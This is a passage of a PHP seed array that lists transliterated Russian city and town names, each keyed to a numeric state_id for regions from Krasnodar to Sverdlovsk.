'3019', 'name' => 'achujevo'],\n ['state_id' => '3019', 'name' => 'afipskij'],\n ['state_id' => '3019', 'name' => 'ahtyrskij'],\n ['state_id' => '3019', 'name' => 'anapa'],\n ['state_id' => '3019', 'name' => 'apsheronsk'],\n ['state_id' => '3019', 'name' => 'armavir'],\n ['state_id' => '3019', 'name' => 'belorechensk'],\n ['state_id' => '3019', 'name' => 'gelendzhik'],\n ['state_id' => '3019', 'name' => 'gorjachi kljuch'],\n ['state_id' => '3019', 'name' => 'gulkevichi'],\n ['state_id' => '3019', 'name' => 'hadyzhensk'],\n ['state_id' => '3019', 'name' => 'ilskij'],\n ['state_id' => '3019', 'name' => 'jejsk'],\n ['state_id' => '3019', 'name' => 'kalinino'],\n ['state_id' => '3019', 'name' => 'korenovsk'],\n ['state_id' => '3019', 'name' => 'krasnodar'],\n ['state_id' => '3019', 'name' => 'kropotkin'],\n ['state_id' => '3019', 'name' => 'krymsk'],\n ['state_id' => '3019', 'name' => 'kurganinsk'],\n ['state_id' => '3019', 'name' => 'labinsk'],\n ['state_id' => '3019', 'name' => 'mostovskoj'],\n ['state_id' => '3019', 'name' => 'neftegorsk'],\n ['state_id' => '3019', 'name' => 'novokubansk'],\n ['state_id' => '3019', 'name' => 'novomihajlovskij'],\n ['state_id' => '3019', 'name' => 'novorossijsk'],\n ['state_id' => '3019', 'name' => 'pashkovskij'],\n ['state_id' => '3019', 'name' => 'primorsko-ahtarsk'],\n ['state_id' => '3019', 'name' => 'psebaj'],\n ['state_id' => '3019', 'name' => 'slavjansk-na-kubani'],\n ['state_id' => '3019', 'name' => 'sochi'],\n ['state_id' => '3019', 'name' => 'srednjaja ahtuba'],\n ['state_id' => '3019', 'name' => 'temrjuk'],\n ['state_id' => '3019', 'name' => 'tihoreck'],\n ['state_id' => '3019', 'name' => 'timashevsk'],\n ['state_id' => '3019', 'name' => 'tuapse'],\n ['state_id' => '3019', 'name' => 'ust-labinsk'],\n ['state_id' => '3020', 'name' => 'aban'],\n ['state_id' => '3020', 'name' => 'achinsk'],\n ['state_id' => '3020', 'name' => 'artjomovsk'],\n ['state_id' => '3020', 'name' => 'berjozovka'],\n ['state_id' => '3020', 'name' => 'bogotol'],\n ['state_id' => '3020', 'name' => 'borodino'],\n ['state_id' => '3020', 'name' => 'divnogorsk'],\n ['state_id' => '3020', 'name' => 'dubinino'],\n ['state_id' => '3020', 'name' => 'igarka'],\n ['state_id' => '3020', 'name' => 'ilanskij'],\n ['state_id' => '3020', 'name' => 'jemeljanovo'],\n ['state_id' => '3020', 'name' => 'jenisejsk'],\n ['state_id' => '3020', 'name' => 'kajerkan'],\n ['state_id' => '3020', 'name' => 'kansk'],\n ['state_id' => '3020', 'name' => 'kedrovyj'],\n ['state_id' => '3020', 'name' => 'kodinsk'],\n ['state_id' => '3020', 'name' => 'krasnojarsk'],\n ['state_id' => '3020', 'name' => 'kuragino'],\n ['state_id' => '3020', 'name' => 'lesosibirsk'],\n ['state_id' => '3020', 'name' => 'minusinsk'],\n ['state_id' => '3020', 'name' => 'nazarovo'],\n ['state_id' => '3020', 'name' => 'nizhnjaja pojma'],\n ['state_id' => '3020', 'name' => 'norilsk'],\n ['state_id' => '3020', 'name' => 'podgornyj'],\n ['state_id' => '3020', 'name' => 'sharypovo'],\n ['state_id' => '3020', 'name' => 'shushenskoe'],\n ['state_id' => '3020', 'name' => 'solnechnyj'],\n ['state_id' => '3020', 'name' => 'sosnovoborsk'],\n ['state_id' => '3020', 'name' => 'talnah'],\n ['state_id' => '3020', 'name' => 'ujar'],\n ['state_id' => '3020', 'name' => 'uzhur'],\n ['state_id' => '3020', 'name' => 'zaozjornyj'],\n ['state_id' => '3020', 'name' => 'zelenogorsk'],\n ['state_id' => '3020', 'name' => 'zheleznogorsk'],\n ['state_id' => '3022', 'name' => 'dalmatovo'],\n ['state_id' => '3022', 'name' => 'kargapolje'],\n ['state_id' => '3022', 'name' => 'katajsk'],\n ['state_id' => '3022', 'name' => 'kurgan'],\n ['state_id' => '3022', 'name' => 'kurtamysh'],\n ['state_id' => '3022', 'name' => 'makushino'],\n ['state_id' => '3022', 'name' => 'petuhovo'],\n ['state_id' => '3022', 'name' => 'shadrinsk'],\n ['state_id' => '3022', 'name' => 'shumiha'],\n ['state_id' => '3022', 'name' => 'vargashi'],\n ['state_id' => '3023', 'name' => 'dmitriev lgovskij'],\n ['state_id' => '3023', 'name' => 'imeni karla libknehta'],\n ['state_id' => '3023', 'name' => 'kurchatov'],\n ['state_id' => '3023', 'name' => 'kursk'],\n ['state_id' => '3023', 'name' => 'lgov'],\n ['state_id' => '3023', 'name' => 'obojan'],\n ['state_id' => '3023', 'name' => 'rylsk'],\n ['state_id' => '3023', 'name' => 'shchigry'],\n ['state_id' => '3023', 'name' => 'shchuchje'],\n ['state_id' => '3023', 'name' => 'sudzha'],\n ['state_id' => '3023', 'name' => 'zheleznogorsk'],\n ['state_id' => '3024', 'name' => 'boksitogorsk'],\n ['state_id' => '3024', 'name' => 'dubrovka'],\n ['state_id' => '3024', 'name' => 'gatchina'],\n ['state_id' => '3024', 'name' => 'imeni morozova'],\n ['state_id' => '3024', 'name' => 'ivangorod'],\n ['state_id' => '3024', 'name' => 'kingisepp'],\n ['state_id' => '3024', 'name' => 'kirishi'],\n ['state_id' => '3024', 'name' => 'kirovsk'],\n ['state_id' => '3024', 'name' => 'kolpino'],\n ['state_id' => '3024', 'name' => 'kommunar'],\n ['state_id' => '3024', 'name' => 'kuzmolovskiy'],\n ['state_id' => '3024', 'name' => 'lodejnoje pole'],\n ['state_id' => '3024', 'name' => 'luga'],\n ['state_id' => '3024', 'name' => 'nikolskoe'],\n ['state_id' => '3024', 'name' => 'novaja ladoga'],\n ['state_id' => '3024', 'name' => 'otradnoe'],\n ['state_id' => '3024', 'name' => 'pikaljovo'],\n ['state_id' => '3024', 'name' => 'podporozhje'],\n ['state_id' => '3024', 'name' => 'priozjorsk'],\n ['state_id' => '3024', 'name' => 'sertolovo'],\n ['state_id' => '3024', 'name' => 'shlisselburg'],\n ['state_id' => '3024', 'name' => 'siverskij'],\n ['state_id' => '3024', 'name' => 'sjasstroj'],\n ['state_id' => '3024', 'name' => 'slancy'],\n ['state_id' => '3024', 'name' => 'sosnovyj bor'],\n ['state_id' => '3024', 'name' => 'svetogorsk'],\n ['state_id' => '3024', 'name' => 'tihvin'],\n ['state_id' => '3024', 'name' => 'tosno'],\n ['state_id' => '3024', 'name' => 'uljanovka'],\n ['state_id' => '3024', 'name' => 'volhov'],\n ['state_id' => '3024', 'name' => 'volosovo'],\n ['state_id' => '3024', 'name' => 'vsevolozhsk'],\n ['state_id' => '3024', 'name' => 'vyborg'],\n ['state_id' => '3024', 'name' => 'vyrica'],\n ['state_id' => '3024', 'name' => 'zarskoje selo'],\n ['state_id' => '3025', 'name' => 'chaplygin'],\n ['state_id' => '3025', 'name' => 'dankov'],\n ['state_id' => '3025', 'name' => 'dobrinka'],\n ['state_id' => '3025', 'name' => 'grjazi'],\n ['state_id' => '3025', 'name' => 'jelec'],\n ['state_id' => '3025', 'name' => 'lebedjan'],\n ['state_id' => '3025', 'name' => 'lipeck'],\n ['state_id' => '3025', 'name' => 'usman'],\n ['state_id' => '3025', 'name' => 'zadonsk'],\n ['state_id' => '3026', 'name' => 'jagodnoje'],\n ['state_id' => '3026', 'name' => 'magadan'],\n ['state_id' => '3026', 'name' => 'ola'],\n ['state_id' => '3026', 'name' => 'omsukchan'],\n ['state_id' => '3026', 'name' => 'palatka'],\n ['state_id' => '3026', 'name' => 'sinegorje'],\n ['state_id' => '3026', 'name' => 'susuman'],\n ['state_id' => '3026', 'name' => 'ust-omchug'],\n ['state_id' => '3028', 'name' => 'ardatov'],\n ['state_id' => '3028', 'name' => 'chamzinka'],\n ['state_id' => '3028', 'name' => 'insar'],\n ['state_id' => '3028', 'name' => 'komsomolskij'],\n ['state_id' => '3028', 'name' => 'kovylkino'],\n ['state_id' => '3028', 'name' => 'krasnoslobodsk'],\n ['state_id' => '3028', 'name' => 'luhovka'],\n ['state_id' => '3028', 'name' => 'romodanovo'],\n ['state_id' => '3028', 'name' => 'ruzajevka'],\n ['state_id' => '3028', 'name' => 'saransk'],\n ['state_id' => '3028', 'name' => 'temnikov'],\n ['state_id' => '3028', 'name' => 'torbeevo'],\n ['state_id' => '3028', 'name' => 'zubova poljana'],\n ['state_id' => '3029', 'name' => 'moscow'],\n ['state_id' => '3032', 'name' => 'moskva'],\n ['state_id' => '3032', 'name' => 'vostochnyj'],\n ['state_id' => '3032', 'name' => 'zeljenograd'],\n ['state_id' => '3033', 'name' => 'apatity'],\n ['state_id' => '3033', 'name' => 'gadzhievo'],\n ['state_id' => '3033', 'name' => 'kandalaksha'],\n ['state_id' => '3033', 'name' => 'kirovsk'],\n ['state_id' => '3033', 'name' => 'kola'],\n ['state_id' => '3033', 'name' => 'kovdor'],\n ['state_id' => '3033', 'name' => 'monchegorsk'],\n ['state_id' => '3033', 'name' => 'murmansk'],\n ['state_id' => '3033', 'name' => 'murmashi'],\n ['state_id' => '3033', 'name' => 'nikel'],\n ['state_id' => '3033', 'name' => 'olenegorsk'],\n ['state_id' => '3033', 'name' => 'ostrovnoj'],\n ['state_id' => '3033', 'name' => 'poljarnye zory'],\n ['state_id' => '3033', 'name' => 'poljarnyj'],\n ['state_id' => '3033', 'name' => 'revda'],\n ['state_id' => '3033', 'name' => 'severomorsk'],\n ['state_id' => '3033', 'name' => 'snezhnogorsk'],\n ['state_id' => '3033', 'name' => 'zaozjorsk'],\n ['state_id' => '3033', 'name' => 'zapoljarnyj'],\n ['state_id' => '3033', 'name' => 'zeljenoborskij'],\n ['state_id' => '3034', 'name' => 'narjan-mar'],\n ['state_id' => '3036', 'name' => 'borovichi'],\n ['state_id' => '3036', 'name' => 'chudovo'],\n ['state_id' => '3036', 'name' => 'krestcy'],\n ['state_id' => '3036', 'name' => 'malaja vishera'],\n ['state_id' => '3036', 'name' => 'okulovka'],\n ['state_id' => '3036', 'name' => 'pestovo'],\n ['state_id' => '3036', 'name' => 'proletarij'],\n ['state_id' => '3036', 'name' => 'solcy'],\n ['state_id' => '3036', 'name' => 'staraja russa'],\n ['state_id' => '3036', 'name' => 'uglovka'],\n ['state_id' => '3036', 'name' => 'valdaj'],\n ['state_id' => '3036', 'name' => 'velikij novgorod'],\n ['state_id' => '3037', 'name' => 'novokusnezk'],\n ['state_id' => '3038', 'name' => 'barabinsk'],\n ['state_id' => '3038', 'name' => 'berdsk'],\n ['state_id' => '3038', 'name' => 'bolotnoe'],\n ['state_id' => '3038', 'name' => 'chany'],\n ['state_id' => '3038', 'name' => 'cherepanovo'],\n ['state_id' => '3038', 'name' => 'chulym'],\n ['state_id' => '3038', 'name' => 'iskitim'],\n ['state_id' => '3038', 'name' => 'karasuk'],\n ['state_id' => '3038', 'name' => 'kargat'],\n ['state_id' => '3038', 'name' => 'kochenjovo'],\n ['state_id' => '3038', 'name' => 'kolcovo'],\n ['state_id' => '3038', 'name' => 'kolyvan'],\n ['state_id' => '3038', 'name' => 'krasnoobsk'],\n ['state_id' => '3038', 'name' => 'krasnozerskoe'],\n ['state_id' => '3038', 'name' => 'kujbyshev'],\n ['state_id' => '3038', 'name' => 'kupino'],\n ['state_id' => '3038', 'name' => 'linjovo'],\n ['state_id' => '3038', 'name' => 'masljanino'],\n ['state_id' => '3038', 'name' => 'novosibirsk'],\n ['state_id' => '3038', 'name' => 'ob'],\n ['state_id' => '3038', 'name' => 'suzun'],\n ['state_id' => '3038', 'name' => 'tatarsk'],\n ['state_id' => '3038', 'name' => 'toguchin'],\n ['state_id' => '3039', 'name' => 'bolsherechje'],\n ['state_id' => '3039', 'name' => 'cherlak'],\n ['state_id' => '3039', 'name' => 'isilkul'],\n ['state_id' => '3039', 'name' => 'kalachinsk'],\n ['state_id' => '3039', 'name' => 'kormilovka'],\n ['state_id' => '3039', 'name' => 'ljubinskij'],\n ['state_id' => '3039', 'name' => 'moskaljoni'],\n ['state_id' => '3039', 'name' => 'muromcevo'],\n ['state_id' => '3039', 'name' => 'nazyvajevsk'],\n ['state_id' => '3039', 'name' => 'omsk'],\n ['state_id' => '3039', 'name' => 'tara'],\n ['state_id' => '3039', 'name' => 'tavricheskoje'],\n ['state_id' => '3039', 'name' => 'tjukalinsk'],\n ['state_id' => '3040', 'name' => 'abdulino'],\n ['state_id' => '3040', 'name' => 'buguruslan'],\n ['state_id' => '3040', 'name' => 'buzuluk'],\n ['state_id' => '3040', 'name' => 'jasnyj'],\n ['state_id' => '3040', 'name' => 'komarovskiy'],\n ['state_id' => '3040', 'name' => 'kuvandyk'],\n ['state_id' => '3040', 'name' => 'mednogorsk'],\n ['state_id' => '3040', 'name' => 'novotroick'],\n ['state_id' => '3040', 'name' => 'orenburg'],\n ['state_id' => '3040', 'name' => 'orsk'],\n ['state_id' => '3040', 'name' => 'sol-ileck'],\n ['state_id' => '3040', 'name' => 'sorochinsk'],\n ['state_id' => '3041', 'name' => 'bolhov'],\n ['state_id' => '3041', 'name' => 'gaj'],\n ['state_id' => '3041', 'name' => 'livny'],\n ['state_id' => '3041', 'name' => 'mcensk'],\n ['state_id' => '3041', 'name' => 'orjol'],\n ['state_id' => '3041', 'name' => 'znamenka'],\n ['state_id' => '3042', 'name' => 'bashmakovo'],\n ['state_id' => '3042', 'name' => 'bekovo'],\n ['state_id' => '3042', 'name' => 'belinskiy'],\n ['state_id' => '3042', 'name' => 'kamenka'],\n ['state_id' => '3042', 'name' => 'kolyshlej'],\n ['state_id' => '3042', 'name' => 'kuzneck'],\n ['state_id' => '3042', 'name' => 'mokshan'],\n ['state_id' => '3042', 'name' => 'nikolsk'],\n ['state_id' => '3042', 'name' => 'nizhnij lomov'],\n ['state_id' => '3042', 'name' => 'pachelma'],\n ['state_id' => '3042', 'name' => 'penza'],\n ['state_id' => '3042', 'name' => 'serdobsk'],\n ['state_id' => '3042', 'name' => 'sursk'],\n ['state_id' => '3042', 'name' => 'zarechnyj'],\n ['state_id' => '3042', 'name' => 'zemetchino'],\n ['state_id' => '3043', 'name' => 'aleksandrovsk'],\n ['state_id' => '3043', 'name' => 'berezniki'],\n ['state_id' => '3043', 'name' => 'chajkovskij'],\n ['state_id' => '3043', 'name' => 'chermoz'],\n ['state_id' => '3043', 'name' => 'chernushka'],\n ['state_id' => '3043', 'name' => 'chusovoj'],\n ['state_id' => '3043', 'name' => 'dobrjanka'],\n ['state_id' => '3043', 'name' => 'gornozavodsk'],\n ['state_id' => '3043', 'name' => 'gremjachinsk'],\n ['state_id' => '3043', 'name' => 'gubaha'],\n ['state_id' => '3043', 'name' => 'jajva'],\n ['state_id' => '3043', 'name' => 'kizel'],\n ['state_id' => '3043', 'name' => 'komsomolsky'],\n ['state_id' => '3043', 'name' => 'krasnokamsk'],\n ['state_id' => '3043', 'name' => 'krasnovishersk'],\n ['state_id' => '3043', 'name' => 'kungur'],\n ['state_id' => '3043', 'name' => 'lysva'],\n ['state_id' => '3043', 'name' => 'novye ljady'],\n ['state_id' => '3043', 'name' => 'nytva'],\n ['state_id' => '3043', 'name' => 'ocher'],\n ['state_id' => '3043', 'name' => 'oktjabrskij'],\n ['state_id' => '3043', 'name' => 'osa'],\n ['state_id' => '3043', 'name' => 'pashija'],\n ['state_id' => '3043', 'name' => 'perm'],\n ['state_id' => '3043', 'name' => 'polazna'],\n ['state_id' => '3043', 'name' => 'skalnyj'],\n ['state_id' => '3043', 'name' => 'solikamsk'],\n ['state_id' => '3043', 'name' => 'ugleuralskij'],\n ['state_id' => '3043', 'name' => 'uralskij'],\n ['state_id' => '3043', 'name' => 'usolje'],\n ['state_id' => '3043', 'name' => 'vereshchagino'],\n ['state_id' => '3043', 'name' => 'zvjozdnyj'],\n ['state_id' => '3044', 'name' => 'arsenjev'],\n ['state_id' => '3044', 'name' => 'artjom'],\n ['state_id' => '3044', 'name' => 'artjomovskij'],\n ['state_id' => '3044', 'name' => 'bolshoj kamen'],\n ['state_id' => '3044', 'name' => 'dalnegorsk'],\n ['state_id' => '3044', 'name' => 'dalnerechensk'],\n ['state_id' => '3044', 'name' => 'dunaj'],\n ['state_id' => '3044', 'name' => 'fokino'],\n ['state_id' => '3044', 'name' => 'jaroslavskij'],\n ['state_id' => '3044', 'name' => 'kavalerovo'],\n ['state_id' => '3044', 'name' => 'kirovskiy'],\n ['state_id' => '3044', 'name' => 'lesozavodsk'],\n ['state_id' => '3044', 'name' => 'lipovcy'],\n ['state_id' => '3044', 'name' => 'livadija'],\n ['state_id' => '3044', 'name' => 'luchegorsk'],\n ['state_id' => '3044', 'name' => 'nahodka'],\n ['state_id' => '3044', 'name' => 'novoshahtinskij'],\n ['state_id' => '3044', 'name' => 'partizansk'],\n ['state_id' => '3044', 'name' => 'pogranichnyj'],\n ['state_id' => '3044', 'name' => 'preobrazhenie'],\n ['state_id' => '3044', 'name' => 'putjatin'],\n ['state_id' => '3044', 'name' => 'sibircevo'],\n ['state_id' => '3044', 'name' => 'slavjanka'],\n ['state_id' => '3044', 'name' => 'spassk-dalnij'],\n ['state_id' => '3044', 'name' => 'tavrichanka'],\n ['state_id' => '3044', 'name' => 'trudovoe'],\n ['state_id' => '3044', 'name' => 'uglekamensk'],\n ['state_id' => '3044', 'name' => 'uglovoe'],\n ['state_id' => '3044', 'name' => 'ussurijsk'],\n ['state_id' => '3044', 'name' => 'vladivostok'],\n ['state_id' => '3044', 'name' => 'vrangel'],\n ['state_id' => '3044', 'name' => 'zavodskoj'],\n ['state_id' => '3045', 'name' => 'dedovichi'],\n ['state_id' => '3045', 'name' => 'dno'],\n ['state_id' => '3045', 'name' => 'nevel'],\n ['state_id' => '3045', 'name' => 'novosokolniki'],\n ['state_id' => '3045', 'name' => 'opochka'],\n ['state_id' => '3045', 'name' => 'ostrov'],\n ['state_id' => '3045', 'name' => 'pechory'],\n ['state_id' => '3045', 'name' => 'porhov'],\n ['state_id' => '3045', 'name' => 'pskov'],\n ['state_id' => '3045', 'name' => 'sebezh'],\n ['state_id' => '3045', 'name' => 'strugi-krasnye'],\n ['state_id' => '3045', 'name' => 'velikije luki'],\n ['state_id' => '3047', 'name' => 'kasimov'],\n ['state_id' => '3047', 'name' => 'korablino'],\n ['state_id' => '3047', 'name' => 'mihajlov'],\n ['state_id' => '3047', 'name' => 'novomichurinsk'],\n ['state_id' => '3047', 'name' => 'rjazan'],\n ['state_id' => '3047', 'name' => 'rjazhsk'],\n ['state_id' => '3047', 'name' => 'rybnoje'],\n ['state_id' => '3047', 'name' => 'sasovo'],\n ['state_id' => '3047', 'name' => 'shilovo'],\n ['state_id' => '3047', 'name' => 'skopin'],\n ['state_id' => '3048', 'name' => 'ajutinskij'],\n ['state_id' => '3048', 'name' => 'aksaj'],\n ['state_id' => '3048', 'name' => 'azov'],\n ['state_id' => '3048', 'name' => 'batajsk'],\n ['state_id' => '3048', 'name' => 'belaja kalitva'],\n ['state_id' => '3048', 'name' => 'cimljansk'],\n ['state_id' => '3048', 'name' => 'doneck'],\n ['state_id' => '3048', 'name' => 'donskoj'],\n ['state_id' => '3048', 'name' => 'gigant'],\n ['state_id' => '3048', 'name' => 'glubokij'],\n ['state_id' => '3048', 'name' => 'gornjackij'],\n ['state_id' => '3048', 'name' => 'gukovo'],\n ['state_id' => '3048', 'name' => 'kamenolomni'],\n ['state_id' => '3048', 'name' => 'kamensk-shahtinskij'],\n ['state_id' => '3048', 'name' => 'konstantinovsk'],\n ['state_id' => '3048', 'name' => 'krasnyj sulin'],\n ['state_id' => '3048', 'name' => 'lihovskoj'],\n ['state_id' => '3048', 'name' => 'majskij'],\n ['state_id' => '3048', 'name' => 'millerovo'],\n ['state_id' => '3048', 'name' => 'morozovsk'],\n ['state_id' => '3048', 'name' => 'novocherkassk'],\n ['state_id' => '3048', 'name' => 'novoshahtinsk'],\n ['state_id' => '3048', 'name' => 'proletarsk'],\n ['state_id' => '3048', 'name' => 'rostov'],\n ['state_id' => '3048', 'name' => 'rostov-na-donu'],\n ['state_id' => '3048', 'name' => 'salsk'],\n ['state_id' => '3048', 'name' => 'semikarakorsk'],\n ['state_id' => '3048', 'name' => 'shahty'],\n ['state_id' => '3048', 'name' => 'sholohovskij'],\n ['state_id' => '3048', 'name' => 'sinegorskij'],\n ['state_id' => '3048', 'name' => 'sokolovo'],\n ['state_id' => '3048', 'name' => 'taganrog'],\n ['state_id' => '3048', 'name' => 'ust-doneckij'],\n ['state_id' => '3048', 'name' => 'volgodonsk'],\n ['state_id' => '3048', 'name' => 'zernograd'],\n ['state_id' => '3048', 'name' => 'zhirnov'],\n ['state_id' => '3048', 'name' => 'zverevo'],\n ['state_id' => '3049', 'name' => 'ajhan'],\n ['state_id' => '3049', 'name' => 'aldan'],\n ['state_id' => '3049', 'name' => 'cherskij'],\n ['state_id' => '3049', 'name' => 'chulman'],\n ['state_id' => '3049', 'name' => 'deputatskij'],\n ['state_id' => '3049', 'name' => 'jakutsk'],\n ['state_id' => '3049', 'name' => 'lensk'],\n ['state_id' => '3049', 'name' => 'marha'],\n ['state_id' => '3049', 'name' => 'mirnyj'],\n ['state_id' => '3049', 'name' => 'nerjungri'],\n ['state_id' => '3049', 'name' => 'njurba'],\n ['state_id' => '3049', 'name' => 'oljokminsk'],\n ['state_id' => '3049', 'name' => 'pokrovsk'],\n ['state_id' => '3049', 'name' => 'sangar'],\n ['state_id' => '3049', 'name' => 'serebrjanyj bor'],\n ['state_id' => '3049', 'name' => 'tiksi'],\n ['state_id' => '3049', 'name' => 'tommot'],\n ['state_id' => '3049', 'name' => 'udachnyj'],\n ['state_id' => '3049', 'name' => 'ust-nera'],\n ['state_id' => '3049', 'name' => 'verhojansk'],\n ['state_id' => '3049', 'name' => 'viljujsk'],\n ['state_id' => '3050', 'name' => 'aleksandrovsk-sahalinskij'],\n ['state_id' => '3050', 'name' => 'dolinsk'],\n ['state_id' => '3050', 'name' => 'gornozavodsk'],\n ['state_id' => '3050', 'name' => 'holmsk'],\n ['state_id' => '3050', 'name' => 'juzhno-sahalinsk'],\n ['state_id' => '3050', 'name' => 'korsakov'],\n ['state_id' => '3050', 'name' => 'makarov'],\n ['state_id' => '3050', 'name' => 'nevelsk'],\n ['state_id' => '3050', 'name' => 'nogliki'],\n ['state_id' => '3050', 'name' => 'oha'],\n ['state_id' => '3050', 'name' => 'poronajsk'],\n ['state_id' => '3050', 'name' => 'shahtjorsk'],\n ['state_id' => '3050', 'name' => 'tymovskoje'],\n ['state_id' => '3050', 'name' => 'uglegorsk'],\n ['state_id' => '3051', 'name' => 'aleksejevka'],\n ['state_id' => '3051', 'name' => 'bezenchuk'],\n ['state_id' => '3051', 'name' => 'chapajevsk'],\n ['state_id' => '3051', 'name' => 'fjodorovka'],\n ['state_id' => '3051', 'name' => 'kinel'],\n ['state_id' => '3051', 'name' => 'mirnyj'],\n ['state_id' => '3051', 'name' => 'novokujbyshevsk'],\n ['state_id' => '3051', 'name' => 'novosemejkino'],\n ['state_id' => '3051', 'name' => 'oktjabrsk'],\n ['state_id' => '3051', 'name' => 'otradnyj'],\n ['state_id' => '3051', 'name' => 'pohvistnevo'],\n ['state_id' => '3051', 'name' => 'povolzhskij'],\n ['state_id' => '3051', 'name' => 'pribrezhnyj'],\n ['state_id' => '3051', 'name' => 'roscinskij'],\n ['state_id' => '3051', 'name' => 'samara'],\n ['state_id' => '3051', 'name' => 'smyshljaevka'],\n ['state_id' => '3051', 'name' => 'suhodol'],\n ['state_id' => '3051', 'name' => 'syzran'],\n ['state_id' => '3051', 'name' => 'timashjovo'],\n ['state_id' => '3051', 'name' => 'toljatti'],\n ['state_id' => '3051', 'name' => 'zhigulevsk'],\n ['state_id' => '3052', 'name' => 'togliatti'],\n ['state_id' => '3053', 'name' => 'saint petersburg'],\n ['state_id' => '3053', 'name' => 'sankt peterburg'],\n ['state_id' => '3054', 'name' => 'arkadak'],\n ['state_id' => '3054', 'name' => 'atkarsk'],\n ['state_id' => '3054', 'name' => 'balakovo'],\n ['state_id' => '3054', 'name' => 'balashov'],\n ['state_id' => '3054', 'name' => 'bazarnyj karabulak'],\n ['state_id' => '3054', 'name' => 'dergachi'],\n ['state_id' => '3054', 'name' => 'engels'],\n ['state_id' => '3054', 'name' => 'hvalynsk'],\n ['state_id' => '3054', 'name' => 'jershov'],\n ['state_id' => '3054', 'name' => 'kalininsk'],\n ['state_id' => '3054', 'name' => 'krasnoarmejsk'],\n ['state_id' => '3054', 'name' => 'krasnyj kut'],\n ['state_id' => '3054', 'name' => 'marks'],\n ['state_id' => '3054', 'name' => 'novouzensk'],\n ['state_id' => '3054', 'name' => 'ozinki'],\n ['state_id' => '3054', 'name' => 'petrovsk'],\n ['state_id' => '3054', 'name' => 'privolzhskij'],\n ['state_id' => '3054', 'name' => 'pugachjov'],\n ['state_id' => '3054', 'name' => 'rtishchevo'],\n ['state_id' => '3054', 'name' => 'saratov'],\n ['state_id' => '3054', 'name' => 'shihany'],\n ['state_id' => '3054', 'name' => 'stepnoe'],\n ['state_id' => '3054', 'name' => 'svetlyj'],\n ['state_id' => '3054', 'name' => 'tatishchevo'],\n ['state_id' => '3054', 'name' => 'volsk'],\n ['state_id' => '3055', 'name' => 'demidov'],\n ['state_id' => '3055', 'name' => 'desnogorsk'],\n ['state_id' => '3055', 'name' => 'dorogobuzh'],\n ['state_id' => '3055', 'name' => 'gagarin'],\n ['state_id' => '3055', 'name' => 'hislavichi'],\n ['state_id' => '3055', 'name' => 'jarcevo'],\n ['state_id' => '3055', 'name' => 'jelnja'],\n ['state_id' => '3055', 'name' => 'pochinok'],\n ['state_id' => '3055', 'name' => 'roslavl'],\n ['state_id' => '3055', 'name' => 'rudnja'],\n ['state_id' => '3055', 'name' => 'safonovo'],\n ['state_id' => '3055', 'name' => 'smolensk'],\n ['state_id' => '3055', 'name' => 'verhnedneprovskij'],\n ['state_id' => '3055', 'name' => 'vjazma'],\n ['state_id' => '3056', 'name' => 'blagodarnyj'],\n ['state_id' => '3056', 'name' => 'budjonnovsk'],\n ['state_id' => '3056', 'name' => 'georgijevsk'],\n ['state_id' => '3056', 'name' => 'gorjachevodskij'],\n ['state_id' => '3056', 'name' => 'inozemcevo'],\n ['state_id' => '3056', 'name' => 'ipatovo'],\n ['state_id' => '3056', 'name' => 'izobilnyj'],\n ['state_id' => '3056', 'name' => 'jessentuki'],\n ['state_id' => '3056', 'name' => 'kislovodsk'],\n ['state_id' => '3056', 'name' => 'lermontov'],\n ['state_id' => '3056', 'name' => 'mihajlovsk'],\n ['state_id' => '3056', 'name' => 'mineralnyje vody'],\n ['state_id' => '3056', 'name' => 'neftekumsk'],\n ['state_id' => '3056', 'name' => 'nevinnomyssk'],\n ['state_id' => '3056', 'name' => 'novoaleksandrovsk'],\n ['state_id' => '3056', 'name' => 'novopavlovsk'],\n ['state_id' => '3056', 'name' => 'pjatigorsk'],\n ['state_id' => '3056', 'name' => 'solnechnodolsk'],\n ['state_id' => '3056', 'name' => 'stavropol'],\n ['state_id' => '3056', 'name' => 'svetlograd'],\n ['state_id' => '3056', 'name' => 'svobody'],\n ['state_id' => '3056', 'name' => 'zeljenokumsk'],\n ['state_id' => '3056', 'name' => 'zheleznovodsk'],\n ['state_id' => '3057', 'name' => 'alapajevsk'],\n ['state_id' => '3057', 'name' => 'aramil'],\n ['state_id' => '3057', 'name' => 'arti'],\n ['state_id' => '3057', 'name' => 'artjomovskij'],\n ['state_id' => '3057', 'name' => 'asbest'],\n ['state_id' => '3057', 'name' => 'baranchinskij'],\n ['state_id' => '3057', 'name' => 'belojarskij'],\n ['state_id' => '3057', 'name' => 'berjozovskij'],\n ['state_id' => '3057', 'name' => 'bisert'],\n ['state_id' => '3057', 'name' => 'bogdanovich'],\n ['state_id' => '3057', 'name' => 'bulanash'],\n ['state_id' => '3057', 'name' => 'degtjarsk'],\n ['state_id' => '3057', 'name' => 'ekaterinburg'],\n ['state_id' => '3057', 'name' => 'irbit'],\n ['state_id' => '3057', 'name' => 'ivdel'],\n ['state_id' => '3057', 'name' => 'izumrud'],\n ['state_id' => '3057', 'name' => 'jekaterinburg'],\n ['state_id' => '3057', 'name' => 'kachkanar'],\n ['state_id' => '3057', 'name' => 'kamensk-uralskij'],\n ['state_id' => '3057', 'name' => 'kamyshlov'],\n ['state_id' => '3057', 'name' => 'karpinsk'],\n ['state_id' => '3057', 'name' => 'kirovgrad'],\n ['state_id' => '3057', 'name' => 'kolcovo'],\n ['state_id' => '3057', 'name' => 'krasnoturinsk'],\n ['state_id' => '3057', 'name' => 'krasnoufimsk'],\n ['state_id' => '3057', 'name' => 'krasnouralsk'],\n ['state_id' => '3057', 'name' => 'kushva'],\n ['state_id' => '3057', 'name' => 'lesnoj'],\n ['state_id' => '3057', 'name' => 'leviha'],\n ['state_id' => '3057', 'name' => 'lobva'],\n ['state_id' => '3057', 'name' => 'malysheva'],\n ['state_id' => '3057', 'name' => 'mihajlovsk'],\n ['state_id' => '3057', 'name' => 'monetnyj'],\n ['state_id' => '3057', 'name' => 'nevjansk'],\n ['state_id' => '3057', 'name' => 'nizhnie sergi'],\n ['state_id' => '3057', 'name' => 'nizhnij tagil'],\n ['state_id' => '3057', 'name' => 'nizhnjaja salda'],\n ['state_id' => '3057', 'name' => 'nizhnjaja tura'],\n ['state_id' => '3057', 'name' => 'novaja ljalja'],\n ['state_id' => '3057', 'name' => 'novouralsk'],\n ['state_id' => '3057', 'name' => 'pervouralsk'],\n ['state_id' => '3057', 'name' => 'polevskoj'],\n ['state_id' => '3057', 'name' => 'pyshma'],\n ['state_id' => '3057', 'name' => 'pyt-jah'],\n ['state_id' => '3057', 'name' => 'reftinskij'],\n ['state_id' => '3057', 'name' => 'revda'],\n ['state_id' => 